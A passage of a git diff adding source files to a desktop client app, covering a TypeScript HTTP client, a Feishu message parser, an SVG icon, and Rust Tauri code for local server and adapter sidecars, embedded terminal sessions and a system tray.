+  realPath: string
+  projectName: string
+  isGit: boolean
+  repoName: string | null
+  branch: string | null
+  modifiedAt: string
+  sessionCount: number
+}
+
+export type GitInfo = {
+  branch: string | null
+  repoName: string | null
+  workDir: string
+  changedFiles: number
+}
+
+export type SessionTask = {
+  id: string
+  subject: string
+  status: 'pending' | 'in_progress' | 'completed'
+}
+
+export class AdapterHttpClient {
+  readonly httpBaseUrl: string
+  /** Default timeout for HTTP requests (30 seconds) */
+  private static readonly DEFAULT_TIMEOUT_MS = 30_000
+
+  constructor(wsUrl: string) {
+    this.httpBaseUrl = wsUrl
+      .replace(/^ws:/, 'http:')
+      .replace(/^wss:/, 'https:')
+      .replace(/\/$/, '')
+  }
+
+  /** Create an AbortController with timeout */
+  private createTimeoutController(timeoutMs = AdapterHttpClient.DEFAULT_TIMEOUT_MS): {
+    controller: AbortController
+    timer: ReturnType<typeof setTimeout>
+  } {
+    const controller = new AbortController()
+    const timer = setTimeout(() => controller.abort(), timeoutMs)
+    return { controller, timer }
+  }
+
+  async createSession(workDir: string): Promise<string> {
+    const { controller, timer } = this.createTimeoutController()
+    try {
+      const res = await fetch(`${this.httpBaseUrl}/api/sessions`, {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' },
+        body: JSON.stringify({ workDir }),
+        signal: controller.signal,
+      })
+      if (!res.ok) {
+        const err = await res.json().catch(() => ({ message: res.statusText }))
+        throw new Error(`Failed to create session: ${(err as any).message}`)
+      }
+      const data = (await res.json()) as { sessionId: string }
+      return data.sessionId
+    } finally {
+      clearTimeout(timer)
+    }
+  }
+
+  async listRecentProjects(): Promise<RecentProject[]> {
+    const { controller, timer } = this.createTimeoutController()
+    try {
+      const res = await fetch(`${this.httpBaseUrl}/api/sessions/recent-projects`, {
+        signal: controller.signal,
+      })
+      if (!res.ok) {
+        throw new Error(`Failed to list projects: ${res.statusText}`)
+      }
+      const data = (await res.json()) as { projects: RecentProject[] }
+      return data.projects
+    } finally {
+      clearTimeout(timer)
+    }
+  }
+
+  /**
+   * Match a project by index (1-based) or fuzzy name from recent projects.
+   * Returns { project, ambiguous[] } — ambiguous is set when multiple projects match.
+   */
+  async matchProject(query: string): Promise<{ project?: RecentProject; ambiguous?: RecentProject[] }> {
+    const projects = await this.listRecentProjects()
+
+    // Try as 1-based index
+    const num = parseInt(query, 10)
+    if (!isNaN(num) && num >= 1 && num <= projects.length && String(num) === query.trim()) {
+      return { project: projects[num - 1] }
+    }
+
+    const q = query.toLowerCase()
+
+    // Exact project name match
+    const exact = projects.find(p => p.projectName.toLowerCase() === q)
+    if (exact) return { project: exact }
+
+    // Fuzzy: name or path contains query
+    const matches = projects.filter(p =>
+      p.projectName.toLowerCase().includes(q) ||
+      p.realPath.toLowerCase().includes(q)
+    )
+    if (matches.length === 1) return { project: matches[0] }
+    if (matches.length > 1) return { ambiguous: matches }
+
+    return {}
+  }
+
+  async getGitInfo(sessionId: string): Promise<GitInfo> {
+    const { controller, timer } = this.createTimeoutController()
+    try {
+      const res = await fetch(`${this.httpBaseUrl}/api/sessions/${encodeURIComponent(sessionId)}/git-info`, {
+        signal: controller.signal,
+      })
+      if (!res.ok) {
+        const err = await res.json().catch(() => ({ message: res.statusText }))
+        throw new Error(`Failed to load git info: ${(err as any).message}`)
+      }
+      return (await res.json()) as GitInfo
+    } finally {
+      clearTimeout(timer)
+    }
+  }
+
+  async getTasksForSession(sessionId: string): Promise<SessionTask[]> {
+    const { controller, timer } = this.createTimeoutController()
+    try {
+      const res = await fetch(`${this.httpBaseUrl}/api/tasks/lists/${encodeURIComponent(sessionId)}`, {
+        signal: controller.signal,
+      })
+      if (!res.ok) {
+        if (res.status === 404) return []
+        const err = await res.json().catch(() => ({ message: res.statusText }))
+        throw new Error(`Failed to load tasks: ${(err as any).message}`)
+      }
+      const data = (await res.json()) as { tasks?: SessionTask[] }
+      return Array.isArray(data.tasks) ? data.tasks : []
+    } finally {
+      clearTimeout(timer)
+    }
+  }
+}
diff --git a/cc-haha/adapters/feishu/extract-payload.ts b/cc-haha/adapters/feishu/extract-payload.ts
new file mode 100644
index 0000000..440359f
--- /dev/null
+++ b/cc-haha/adapters/feishu/extract-payload.ts
@@ -0,0 +1,95 @@
+/**
+ * Feishu inbound message parser.
+ *
+ * Converts a raw Feishu `im.message.receive_v1` event payload (the JSON
+ * string inside `message.content` plus its `message_type`) into a
+ * structured `InboundPayload` containing:
+ *   - plain text (for direct forwarding to Claude)
+ *   - a list of `PendingDownload` refs describing any attachments we
+ *     need to fetch via FeishuMediaService.downloadResource()
+ *
+ * Supports the five message_type values we care about:
+ *   - text         → text only
+ *   - post         → rich text (text nodes + img + file elements)
+ *   - image        → single image_key
+ *   - file         → single file_key
+ *   - file_archive → single file_key (same shape as file)
+ *
+ * Any other shape returns an empty payload (text: '', downloads: []).
+ */
+
+export type PendingDownload =
+  | { kind: 'image'; fileKey: string; fileName?: string }
+  | { kind: 'file'; fileKey: string; fileName?: string }
+
+export interface InboundPayload {
+  text: string
+  pendingDownloads: PendingDownload[]
+}
+
+export function extractInboundPayload(content: string, msgType: string): InboundPayload {
+  let parsed: any
+  try {
+    parsed = JSON.parse(content)
+  } catch {
+    return { text: '', pendingDownloads: [] }
+  }
+
+  if (msgType === 'text') {
+    return {
+      text: typeof parsed.text === 'string' ? parsed.text : '',
+      pendingDownloads: [],
+    }
+  }
+
+  if (msgType === 'image') {
+    if (typeof parsed.image_key === 'string' && parsed.image_key) {
+      return {
+        text: '',
+        pendingDownloads: [{ kind: 'image', fileKey: parsed.image_key }],
+      }
+    }
+    return { text: '', pendingDownloads: [] }
+  }
+
+  if (msgType === 'file' || msgType === 'file_archive') {
+    if (typeof parsed.file_key === 'string' && parsed.file_key) {
+      return {
+        text: '',
+        pendingDownloads: [
+          {
+            kind: 'file',
+            fileKey: parsed.file_key,
+            fileName: typeof parsed.file_name === 'string' ? parsed.file_name : undefined,
+          },
+        ],
+      }
+    }
+    return { text: '', pendingDownloads: [] }
+  }
+
+  if (msgType === 'post') {
+    const nodes = (parsed.zh_cn?.content ?? parsed.en_us?.content ?? []) as any[]
+    const flat = nodes.flat()
+    const textParts: string[] = []
+    const downloads: PendingDownload[] = []
+    for (const node of flat) {
+      if (!node || typeof node !== 'object') continue
+      if (node.tag === 'text' || node.tag === 'md') {
+        const t = node.text ?? node.content ?? ''
+        if (typeof t === 'string') textParts.push(t)
+      } else if (node.tag === 'img' && typeof node.image_key === 'string') {
+        downloads.push({ kind: 'image', fileKey: node.image_key })
+      } else if (node.tag === 'file' && typeof node.file_key === 'string') {
+        downloads.push({
+          kind: 'file',
+          fileKey: node.file_key,
+          fileName: typeof node.file_name === 'string' ? node.file_name : undefined,
+        })
+      }
+    }
+    return { text: textParts.join(''), pendingDownloads: downloads }
+  }
+
+  return { text: '', pendingDownloads: [] }
+}
diff --git a/cc-haha/desktop/public/fonts/material-symbols-outlined.woff2 b/cc-haha/desktop/public/fonts/material-symbols-outlined.woff2
new file mode 100644
index 0000000..44cb1e9
Binary files /dev/null and b/cc-haha/desktop/public/fonts/material-symbols-outlined.woff2 differ
diff --git a/cc-haha/desktop/src-tauri/app-icon-macos.svg b/cc-haha/desktop/src-tauri/app-icon-macos.svg
new file mode 100644
index 0000000..af11a9e
--- /dev/null
+++ b/cc-haha/desktop/src-tauri/app-icon-macos.svg
@@ -0,0 +1,42 @@
+<svg width="1024" height="1024" viewBox="0 0 1024 1024" fill="none" xmlns="http://www.w3.org/2000/svg">
+  <defs>
+    <linearGradient id="panel" x1="190" y1="168" x2="842" y2="860" gradientUnits="userSpaceOnUse">
+      <stop stop-color="#231916"/>
+      <stop offset="1" stop-color="#18110F"/>
+    </linearGradient>
+    <linearGradient id="panelGlow" x1="256" y1="172" x2="744" y2="852" gradientUnits="userSpaceOnUse">
+      <stop stop-color="#7A3B20"/>
+      <stop offset="1" stop-color="#2B1813"/>
+    </linearGradient>
+    <radialGradient id="spark" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(592 402) rotate(90) scale(130)">
+      <stop stop-color="#FFD56A"/>
+      <stop offset="1" stop-color="#F6B23E"/>
+    </radialGradient>
+    <filter id="sparkGlow" x="470" y="280" width="244" height="244" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB">
+      <feGaussianBlur stdDeviation="18" result="blur"/>
+      <feColorMatrix in="blur" type="matrix" values="1 0 0 0 0.95 0 1 0 0 0.63 0 0 1 0 0.14 0 0 0 0.7 0"/>
+      <feBlend in="SourceGraphic"/>
+    </filter>
+    <linearGradient id="accent" x1="684" y1="298" x2="834" y2="726" gradientUnits="userSpaceOnUse">
+      <stop stop-color="#F6B34C"/>
+      <stop offset="1" stop-color="#FF8A2A"/>
+    </linearGradient>
+    <linearGradient id="sheen" x1="244" y1="224" x2="448" y2="430" gradientUnits="userSpaceOnUse">
+      <stop stop-color="white" stop-opacity="0.22"/>
+      <stop offset="1" stop-color="white" stop-opacity="0"/>
+    </linearGradient>
+  </defs>
+
+  <rect x="120" y="120" width="784" height="784" rx="180" fill="url(#panel)"/>
+  <rect x="124" y="124" width="776" height="776" rx="176" stroke="url(#panelGlow)" stroke-width="8"/>
+  <path d="M236 260C324 190 464 170 612 206" stroke="#5C2E1D" stroke-width="18" stroke-linecap="round" opacity="0.58"/>
+  <path d="M214 760C366 824 566 824 718 754" stroke="#5C2E1D" stroke-width="18" stroke-linecap="round" opacity="0.4"/>
+  <ellipse cx="370" cy="292" rx="136" ry="92" fill="url(#sheen)"/>
+
+  <path d="M310 350L510 512L310 674" stroke="#F5F0E6" stroke-width="64" stroke-linecap="round" stroke-linejoin="round"/>
+  <rect x="440" y="690" width="120" height="48" rx="20" fill="#F5F0E6"/>
+  <path d="M684 298H834V726H684" stroke="url(#accent)" stroke-width="64" stroke-linecap="round" stroke-linejoin="round"/>
+  <g filter="url(#sparkGlow)">
+    <path d="M592 334L608.8 385.2L660 402L608.8 418.8L592 470L575.2 418.8L524 402L575.2 385.2L592 334Z" fill="url(#spark)"/>
+  </g>
+</svg>
diff --git a/cc-haha/desktop/src-tauri/icons/android/mipmap-mdpi/ic_launcher.png b/cc-haha/desktop/src-tauri/icons/android/mipmap-mdpi/ic_launcher.png
new file mode 100644
index 0000000..806a522
Binary files /dev/null and b/cc-haha/desktop/src-tauri/icons/android/mipmap-mdpi/ic_launcher.png differ
diff --git a/cc-haha/desktop/src-tauri/src/lib.rs b/cc-haha/desktop/src-tauri/src/lib.rs
new file mode 100644
index 0000000..c6a33d0
--- /dev/null
+++ b/cc-haha/desktop/src-tauri/src/lib.rs
@@ -0,0 +1,1106 @@
+use std::{
+    collections::{HashMap, VecDeque},
+    io::{Error as IoError, ErrorKind, Read, Write},
+    net::{SocketAddr, TcpListener, TcpStream},
+    path::PathBuf,
+    process::{Command as StdCommand, Stdio},
+    str,
+    sync::{
+        atomic::{AtomicU32, Ordering},
+        Arc, Mutex,
+    },
+    thread,
+    time::{Duration, Instant},
+};
+
+use portable_pty::{native_pty_system, ChildKiller, CommandBuilder, MasterPty, PtySize};
+use serde::Serialize;
+use tauri::menu::{MenuBuilder, MenuItemBuilder, SubmenuBuilder};
+use tauri::tray::{MouseButton, MouseButtonState, TrayIconBuilder, TrayIconEvent};
+use tauri::Emitter;
+use tauri::{AppHandle, Manager, RunEvent, State, WindowEvent};
+use tauri_plugin_shell::{
+    process::{CommandChild, CommandEvent},
+    ShellExt,
+};
+
+const SERVER_STARTUP_LOG_LIMIT: usize = 80;
+const MAIN_WINDOW_LABEL: &str = "main";
+const TRAY_SHOW_ID: &str = "tray_show";
+const TRAY_QUIT_ID: &str = "tray_quit";
+
+#[derive(Default)]
+struct ServerState(Mutex<ServerStatus>);
+
+struct ServerRuntime {
+    url: String,
+    child: CommandChild,
+}
+
+#[derive(Default)]
+struct ServerStatus {
+    runtime: Option<ServerRuntime>,
+    startup_error: Option<String>,
+}
+
+#[derive(Default)]
+struct AppExitState {
+    is_quitting: Mutex<bool>,
+}
+
+/// 与 ServerState 平级的 adapter 子进程状态。
+///
+/// adapter sidecar（claude-sidecar adapters --feishu --telegram）的生命周期
+/// 跟 server 不同：它没有 HTTP 端口可探活，没配凭据时会自己干净退出，
+/// 而且需要支持运行时热重启 —— 用户在设置页保存飞书 / Telegram 凭据后，
+/// 前端会通过 invoke('restart_adapters_sidecar') 来重启它，让新凭据生效。
+#[derive(Default)]
+struct AdapterState(Mutex<Option<CommandChild>>);
+
+#[derive(Default)]
+struct TerminalState {
+    next_id: AtomicU32,
+    sessions: Mutex<HashMap<u32, TerminalSession>>,
+}
+
+struct TerminalSession {
+    master: Box<dyn MasterPty + Send>,
+    writer: Mutex<Box<dyn std::io::Write + Send>>,
+    killer: Mutex<Box<dyn ChildKiller + Send + Sync>>,
+}
+
+#[derive(Serialize, Clone)]
+struct TerminalSpawnResult {
+    session_id: u32,
+    shell: String,
+    cwd: String,
+}
+
+#[derive(Serialize, Clone)]
+struct TerminalOutputPayload {
+    session_id: u32,
+    data: String,
+}
+
+#[derive(Serialize, Clone)]
+struct TerminalExitPayload {
+    session_id: u32,
+    code: u32,
+    signal: Option<String>,
+}
+
+#[tauri::command]
+fn get_server_url(state: State<'_, ServerState>) -> Result<String, String> {
+    let guard = state
+        .0
+        .lock()
+        .map_err(|_| "desktop server state is unavailable".to_string())?;
+
+    if let Some(runtime) = guard.runtime.as_ref() {
+        return Ok(runtime.url.clone());
+    }
+
+    Err(guard
+        .startup_error
+        .clone()
+        .unwrap_or_else(|| "desktop server did not start".to_string()))
+}
+
+/// 前端在设置页保存飞书 / Telegram 凭据后调用，触发 adapter sidecar 热重启。
+///
+/// 流程：
+///   1. kill 当前 adapter 子进程（如果在跑）
+///   2. spawn 新的 adapter 子进程
+///   3. 新 sidecar 内部的 loadConfig() 会读到最新的 ~/.claude/adapters.json
+///      并重新建立 WebSocket 连接到飞书 / Telegram
+///
+/// 凭据缺失时 sidecar 自己会 warn + skip + 退出，所以这里不需要前置检查。
+#[tauri::command]
+fn restart_adapters_sidecar(app: AppHandle) -> Result<(), String> {
+    stop_adapters_sidecar(&app);
+    spawn_and_track_adapters_sidecar(&app);
+    Ok(())
+}
+
+#[tauri::command]
+fn prepare_for_update_install(app: AppHandle) -> Result<(), String> {
+    mark_app_quitting(&app);
+    stop_server_sidecar(&app);
+    stop_adapters_sidecar(&app);
+
+    #[cfg(target_os = "windows")]
+    {
+        kill_windows_sidecars();
+    }
+
+    // Give Windows a short moment to release executable file handles before the
+    // updater starts replacing bundled sidecars in the install directory.
+    std::thread::sleep(Duration::from_millis(750));
+    Ok(())
+}
+
+fn mark_app_quitting(app: &AppHandle) {
+    if let Some(state) = app.try_state::<AppExitState>() {
+        if let Ok(mut is_quitting) = state.is_quitting.lock() {
+            *is_quitting = true;
+        }
+    }
+}
+
+fn should_hide_to_tray(app: &AppHandle, label: &str) -> bool {
+    if label != MAIN_WINDOW_LABEL {
+        return false;
+    }
+
+    app.try_state::<AppExitState>()
+        .and_then(|state| state.is_quitting.lock().ok().map(|value| !*value))
+        .unwrap_or(true)
+}
+
+fn show_main_window(app: &AppHandle) {
+    if let Some(window) = app.get_webview_window(MAIN_WINDOW_LABEL) {
+        let _ = window.unminimize();
+        let _ = window.show();
+        let _ = window.set_focus();
+    }
+}
+
+fn setup_system_tray(app: &mut tauri::App) -> tauri::Result<()> {
+    let menu = MenuBuilder::new(app)
+        .text(TRAY_SHOW_ID, "Show Claude Code Haha")
+        .separator()
+        .text(TRAY_QUIT_ID, "Quit Claude Code Haha")
+        .build()?;
+
+    let mut tray = TrayIconBuilder::with_id("main-tray")
+        .tooltip("Claude Code Haha")
+        .menu(&menu)
+        .show_menu_on_left_click(false)
+        .on_menu_event(|app, event| match event.id().as_ref() {
+            TRAY_SHOW_ID => show_main_window(app),
+            TRAY_QUIT_ID => {
+                mark_app_quitting(app);
+                app.exit(0);
+            }
+            _ => {}
+        })
+        .on_tray_icon_event(|tray, event| {
+            if let TrayIconEvent::Click {
+                button: MouseButton::Left,
+                button_state: MouseButtonState::Up,
+                ..
+            } = event
+            {
+                show_main_window(tray.app_handle());
+            }
+        });
+
+    if let Some(icon) = app.default_window_icon() {
+        tray = tray.icon(icon.clone());
+    }
+
+    tray.build(app)?;
+
+    Ok(())
+}
+
+#[tauri::command]
+fn terminal_spawn(
+    app: AppHandle,
+    state: State<'_, TerminalState>,
+    cols: u16,
+    rows: u16,
+    cwd: Option<String>,
+) -> Result<TerminalSpawnResult, String> {
+    let cwd_path = resolve_terminal_cwd(cwd)?;
+    let shell = default_shell();
+    let pty_system = native_pty_system();
+    let pair = pty_system
+        .openpty(PtySize {
+            rows: rows.max(8),
+            cols: cols.max(20),
+            pixel_width: 0,
+            pixel_height: 0,
+        })
+        .map_err(|err| format!("open terminal pty: {err}"))?;
+
+    let mut cmd = CommandBuilder::new(&shell);
+    cmd.cwd(cwd_path.as_os_str());
+    for (key, value) in terminal_environment(&shell) {
+        cmd.env(key, value);
+    }
+    cmd.env("TERM", "xterm-256color");
+    cmd.env("COLORTERM", "truecolor");
+
+    let mut child = pair
+        .slave
+        .spawn_command(cmd)
+        .map_err(|err| format!("spawn terminal shell: {err}"))?;
+    drop(pair.slave);
+
+    let mut reader = pair
+        .master
+        .try_clone_reader()
+        .map_err(|err| format!("clone terminal reader: {err}"))?;
+    let writer = pair
+        .master
+        .take_writer()
+        .map_err(|err| format!("open terminal writer: {err}"))?;
+    let killer = child.clone_killer();
+    let session_id = state.next_id.fetch_add(1, Ordering::Relaxed) + 1;
+
+    {
+        let mut sessions = state
+            .sessions
+            .lock()
+            .map_err(|_| "terminal state is unavailable".to_string())?;
+        sessions.insert(
+            session_id,
+            TerminalSession {
+                master: pair.master,
+                writer: Mutex::new(writer),
+                killer: Mutex::new(killer),
+            },
+        );
+    }
+
+    let output_app = app.clone();
+    thread::spawn(move || {
+        let mut buffer = [0_u8; 8192];
+        let mut pending_utf8 = Vec::new();
+        loop {
+            match reader.read(&mut buffer) {
+                Ok(0) => break,
+                Ok(n) => {
+                    let data = decode_terminal_output(&mut pending_utf8, &buffer[..n]);
+                    if !data.is_empty() {
+                        let _ = output_app.emit(
+                            "terminal-output",
+                            TerminalOutputPayload { session_id, data },
+                        );
+                    }
+                }
+                Err(err) => {
+                    let _ = output_app.emit(
+                        "terminal-output",
+                        TerminalOutputPayload {
+                            session_id,
+                            data: format!("\r\n[terminal read error: {err}]\r\n"),
+                        },
+                    );
+                    break;
+                }
+            }
+        }
+        if !pending_utf8.is_empty() {
+            let data = String::from_utf8_lossy(&pending_utf8).to_string();
+            let _ = output_app.emit(
+                "terminal-output",
+                TerminalOutputPayload { session_id, data },
+            );
+        }
+    });
+
+    let exit_app = app.clone();
+    thread::spawn(move || {
+        let status = child.wait();
+        if let Some(state) = exit_app.try_state::<TerminalState>() {
+            if let Ok(mut sessions) = state.sessions.lock() {
+                sessions.remove(&session_id);
+            }
+        }
+        match status {
+            Ok(status) => {
+                let _ = exit_app.emit(
+                    "terminal-exit",
+                    TerminalExitPayload {
+                        session_id,
+                        code: status.exit_code(),
+                        signal: status.signal().map(ToString::to_string),
+                    },
+                );
+            }
+            Err(err) => {
+                let _ = exit_app.emit(
+                    "terminal-output",
+                    TerminalOutputPayload {
+                        session_id,
+                        data: format!("\r\n[terminal wait error: {err}]\r\n"),
+                    },
+                );
+            }
+        }
+    });
+
+    Ok(TerminalSpawnResult {
+        session_id,
+        shell,
+        cwd: cwd_path.to_string_lossy().to_string(),
+    })
+}
+
+#[tauri::command]
+fn terminal_write(
+    state: State<'_, TerminalState>,
+    session_id: u32,
+    data: String,
+) -> Result<(), String> {
+    let sessions = state
+        .sessions
+        .lock()
+        .map_err(|_| "terminal state is unavailable".to_string())?;
+    let session = sessions
+        .get(&session_id)
+        .ok_or_else(|| "terminal session is not running".to_string())?;
+    let mut writer = session
+        .writer
+        .lock()
+        .map_err(|_| "terminal writer is unavailable".to_string())?;
+    writer
+        .write_all(data.as_bytes())
+        .map_err(|err| format!("write terminal input: {err}"))?;
+    writer
+        .flush()
+        .map_err(|err| format!("flush terminal input: {err}"))?;
+    Ok(())
+}
+
+#[tauri::command]
+fn terminal_resize(
+    state: State<'_, TerminalState>,
+    session_id: u32,
+    cols: u16,
+    rows: u16,
+) -> Result<(), String> {
+    let sessions = state
+        .sessions
+        .lock()
+        .map_err(|_| "terminal state is unavailable".to_string())?;
+    let session = sessions
+        .get(&session_id)
+        .ok_or_else(|| "terminal session is not running".to_string())?;
+    session
+        .master
+        .resize(PtySize {
+            rows: rows.max(8),
+            cols: cols.max(20),
+            pixel_width: 0,
+            pixel_height: 0,
+        })
+        .map_err(|err| format!("resize terminal: {err}"))?;
+    Ok(())
+}
+
+#[tauri::command]
+fn terminal_kill(state: State<'_, TerminalState>, session_id: u32) -> Result<(), String> {
+    let session = {
+        let mut sessions = state
+            .sessions
+            .lock()
+            .map_err(|_| "terminal state is unavailable".to_string())?;
+        sessions.remove(&session_id)
+    };
+
+    if let Some(session) = session {
+        let mut killer = session
+            .killer
+            .lock()
+            .map_err(|_| "terminal killer is unavailable".to_string())?;
+        killer
+            .kill()
+            .map_err(|err| format!("kill terminal shell: {err}"))?;
+    }
+    Ok(())
+}
+
+fn decode_terminal_output(pending: &mut Vec<u8>, chunk: &[u8]) -> String {
+    pending.extend_from_slice(chunk);
+    let mut output = String::new();
+
+    loop {
+        match str::from_utf8(pending) {
+            Ok(text) => {
+                output.push_str(text);
+                pending.clear();
+                break;
+            }
+            Err(err) => {
+                let valid_up_to = err.valid_up_to();
+                if valid_up_to > 0 {
+                    let text = str::from_utf8(&pending[..valid_up_to])
+                        .expect("valid_up_to marks a valid UTF-8 prefix");
+                    output.push_str(text);
+                    pending.drain(..valid_up_to);
+                    continue;
+                }
+
+                match err.error_len() {
+                    Some(error_len) => {
+                        output.push('\u{fffd}');
+                        pending.drain(..error_len);
+                    }
+                    None => break,
+                }
+            }
+        }
+    }
+
+    output
+}
+
+fn terminal_environment(shell: &str) -> HashMap<String, String> {
+    let mut env: HashMap<String, String> = std::env::vars().collect();
+    env.extend(login_shell_environment(shell));
+    ensure_utf8_locale(&mut env);
+    env
+}
+
+fn ensure_utf8_locale(env: &mut HashMap<String, String>) {
+    let fallback = default_utf8_locale();
+    for key in ["LANG", "LC_CTYPE", "LC_ALL"] {
+        let needs_fallback = env
+            .get(key)
+            .map(|value| !is_utf8_locale(value))
+            .unwrap_or(true);
+        if needs_fallback {
+            env.insert(key.to_string(), fallback.to_string());
+        }
+    }
+}
+
+fn is_utf8_locale(value: &str) -> bool {
+    let normalized = value.trim().to_ascii_lowercase().replace('-', "");
+    normalized.contains("utf8")
+}
+
+fn default_utf8_locale() -> &'static str {
+    #[cfg(target_os = "macos")]
+    {
+        "en_US.UTF-8"
+    }
+    #[cfg(all(unix, not(target_os = "macos")))]
+    {
+        "C.UTF-8"
+    }
+    #[cfg(not(unix))]
+    {
+        "C.UTF-8"
+    }
+}
+
+#[cfg(not(target_os = "windows"))]
+fn login_shell_environment(shell: &str) -> HashMap<String, String> {
+    let Ok(mut child) = StdCommand::new(shell)
+        .args(["-l", "-c", "env -0"])
+        .stdout(Stdio::piped())
+        .stderr(Stdio::null())
+        .spawn()
+    else {
+        return HashMap::new();
+    };
+
+    let deadline = Instant::now() + Duration::from_secs(2);
+    loop {
+        match child.try_wait() {
+            Ok(Some(status)) => {
+                if !status.success() {
+                    return HashMap::new();
+                }
+                let mut stdout = Vec::new();
+                if let Some(mut pipe) = child.stdout.take() {
+                    let _ = pipe.read_to_end(&mut stdout);
+                }
+                return parse_env_block(&stdout);
+            }
+            Ok(None) if Instant::now() < deadline => {
+                thread::sleep(Duration::from_millis(25));
+            }
+            Ok(None) => {
+                let _ = child.kill();
+                let _ = child.wait();
+                return HashMap::new();
+            }
+            Err(_) => return HashMap::new(),
+        }
+    }
+}
+
+#[cfg(target_os = "windows")]
+fn login_shell_environment(_shell: &str) -> HashMap<String, String> {
+    HashMap::new()
+}
+
+fn parse_env_block(bytes: &[u8]) -> HashMap<String, String> {
+    bytes
+        .split(|byte| *byte == 0)
+        .filter_map(|entry| {
+            if entry.is_empty() {
+                return None;
+            }
+            let equals = entry.iter().position(|byte| *byte == b'=')?;
+            if equals == 0 {
+                return None;
+            }
+            let key = String::from_utf8_lossy(&entry[..equals]).to_string();
+            let value = String::from_utf8_lossy(&entry[equals + 1..]).to_string();
+            Some((key, value))
+        })
+        .collect()
+}
+
+fn resolve_terminal_cwd(cwd: Option<String>) -> Result<PathBuf, String> {
+    let path = match cwd.and_then(|value| {
+        let trimmed = value.trim();
+        if trimmed.is_empty() {
+            None
+        } else {
+            Some(PathBuf::from(trimmed))
+        }
+    }) {
+        Some(path) => path,
+        None => home_dir().unwrap_or(
+            std::env::current_dir().map_err(|err| format!("resolve current directory: {err}"))?,
+        ),
+    };
+
+    if path.is_dir() {
+        Ok(path)
+    } else {
+        Err(format!("terminal cwd does not exist: {}", path.display()))
+    }
+}
+
+fn home_dir() -> Option<PathBuf> {
+    std::env::var_os("HOME")
+        .or_else(|| std::env::var_os("USERPROFILE"))
+        .map(PathBuf::from)
+}
+
+fn default_shell() -> String {
+    #[cfg(target_os = "windows")]
+    {
+        std::env::var("COMSPEC").unwrap_or_else(|_| "powershell.exe".to_string())
+    }
+    #[cfg(not(target_os = "windows"))]
+    {
+        std::env::var("SHELL").unwrap_or_else(|_| {
+            if PathBuf::from("/bin/zsh").exists() {
+                "/bin/zsh".to_string()
+            } else {
+                "/bin/bash".to_string()
+            }
+        })
+    }
+}
+
+fn reserve_local_port() -> Result<u16, String> {
+    let listener =
+        TcpListener::bind("127.0.0.1:0").map_err(|err| format!("bind local port: {err}"))?;
+    let port = listener
+        .local_addr()
+        .map_err(|err| format!("read local port: {err}"))?
+        .port();
+    drop(listener);
+    Ok(port)
+}
+
+fn wait_for_server(url_host: &str, port: u16) -> Result<(), String> {
+    let addr: SocketAddr = format!("{url_host}:{port}")
+        .parse()
+        .map_err(|err| format!("parse server address: {err}"))?;
+    let deadline = Instant::now() + Duration::from_secs(10);
+
+    while Instant::now() < deadline {
+        if TcpStream::connect_timeout(&addr, Duration::from_millis(200)).is_ok() {
+            return Ok(());
+        }
+        std::thread::sleep(Duration::from_millis(150));
+    }
+
+    Err(format!(
+        "desktop server did not start listening on {url_host}:{port} within 10 seconds"
+    ))
+}
+
+fn push_server_startup_log(logs: &Arc<Mutex<VecDeque<String>>>, line: String) {
+    let line = line.trim_end().to_string();
+    if line.is_empty() {
+        return;
+    }
+
+    let Ok(mut guard) = logs.lock() else {
+        return;
+    };
+    if guard.len() >= SERVER_STARTUP_LOG_LIMIT {
+        guard.pop_front();
+    }
+    guard.push_back(line);
+}
+
+fn format_server_startup_error(message: &str, logs: &Arc<Mutex<VecDeque<String>>>) -> String {
+    let log_text = logs
+        .lock()
+        .ok()
+        .map(|guard| guard.iter().cloned().collect::<Vec<_>>().join("\n"))
+        .filter(|text| !text.trim().is_empty())
+        .unwrap_or_else(|| "No server stdout/stderr was captured before the timeout.".to_string());
+
+    format!("{message}\n\nRecent server logs:\n{log_text}")
+}
+
+fn resolve_app_root(_app: &AppHandle) -> Result<PathBuf, String> {
+    // 历史用途：此前 sidecar launcher 用 dynamic file:// import 加载磁盘上
+    // 的 src/server/index.ts 和 preload.ts，所以 Tauri 必须把整个 src/ +
+    // node_modules/ 当 Resource 一起 ship 到 .app/Contents/Resources/app/。
+    //
+    // 现在 launcher 改成静态 import + bun build --compile 整棵静态打进二进制，
+    // sidecar 不再读磁盘上的 src/ 或 node_modules/。CLAUDE_APP_ROOT 现在
+    // 只剩一个名义上的"app 安装根目录"作用，给 conversationService 在
+    // spawn CLI 子进程时通过 --app-root 透传。
+    //
+    // 我们直接用当前可执行文件所在目录作为 app_root：
+    //   Dev:  desktop/src-tauri/target/<profile>/  （rust 跑出来的 binary 那一层）
+    //   Prod: <App>.app/Contents/MacOS/             （sidecar 二进制的同级目录）
+    let exe = std::env::current_exe().map_err(|err| format!("resolve current exe path: {err}"))?;
+    let dir = exe
+        .parent()
+        .ok_or_else(|| "current exe has no parent dir".to_string())?
+        .to_path_buf();
+    Ok(dir)
+}
+
+fn start_server_sidecar(app: &AppHandle) -> Result<ServerRuntime, String> {
+    let host = "127.0.0.1";
+    let port = reserve_local_port()?;
+    let url = format!("http://{host}:{port}");
+    let app_root = resolve_app_root(app)?;
+    let app_root_arg = app_root.to_string_lossy().to_string();
+
+    // 单一合并 sidecar：第一个参数选 server / cli / adapters 模式。
+    let mut sidecar = app
+        .shell()
+        .sidecar("claude-sidecar")
+        .map_err(|err| format!("resolve sidecar: {err}"))?;
+    for (key, value) in terminal_environment(&default_shell()) {
+        sidecar = sidecar.env(key, value);
+    }
+    let sidecar = sidecar.args([
+        "server",
+        "--app-root",
+        &app_root_arg,
+        "--host",
+        host,
+        "--port",
+        &port.to_string(),
+    ]);
+
+    let startup_logs = Arc::new(Mutex::new(VecDeque::new()));
+    let logs_for_task = Arc::clone(&startup_logs);
+
+    let (mut rx, child) = sidecar
+        .spawn()
+        .map_err(|err| format!("spawn server sidecar: {err}"))?;
+
+    tauri::async_runtime::spawn(async move {
+        while let Some(event) = rx.recv().await {
+            match event {
+                CommandEvent::Stdout(line) => {
+                    let line = String::from_utf8_lossy(&line);
+                    let line = line.trim_end();
+                    println!("[claude-server] {line}");
+                    push_server_startup_log(&logs_for_task, format!("[stdout] {line}"));
+                }
+                CommandEvent::Stderr(line) => {
+                    let line = String::from_utf8_lossy(&line);
+                    let line = line.trim_end();
+                    eprintln!("[claude-server] {line}");
+                    push_server_startup_log(&logs_for_task, format!("[stderr] {line}"));
+                }
+                CommandEvent::Terminated(payload) => {
